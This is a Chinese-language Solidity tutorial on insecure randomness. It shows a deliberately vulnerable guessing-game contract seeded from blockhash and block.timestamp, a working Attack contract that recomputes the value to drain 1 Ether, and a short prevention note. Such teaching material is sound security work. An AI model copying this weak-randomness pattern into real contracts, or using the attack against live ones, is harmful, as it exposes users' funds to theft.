# 随机数预测 / 不安全的熵

## 漏洞

`blockhash` 和 `block.timestamp` 不是可靠的随机性来源。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
注意：在 Remix 中无法使用 blockhash，因此使用 ganache-cli

npm i -g ganache-cli
ganache-cli
在 Remix 中将环境切换 Web3 Provider
*/

/*
GuessTheRandomNumber 是一个游戏，如果你能猜到从区块哈希和时间戳生成的伪随机数，你就能赢得 1 个 Ether。

乍一看，似乎不可能猜到正确的数字。
但让我们看看赢得这个游戏有多容易。

1. Alice 部署 GuessTheRandomNumber 并存入 1 个 Ether
2. Eve 部署 Attack
3. Eve 调用 Attack.attack() 并赢得 1 个 Ether

发生了什么？
Attack 通过简单地复制计算随机数的代码来计算正确答案。
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint256 _guess) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        if (_guess == answer) {
            (bool sent,) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        guessTheRandomNumber.guess(answer);
    }

    // 检查余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

```

## 预防措施

不要使用`blockhash` 和 `block.timestamp` 作为随机性来源
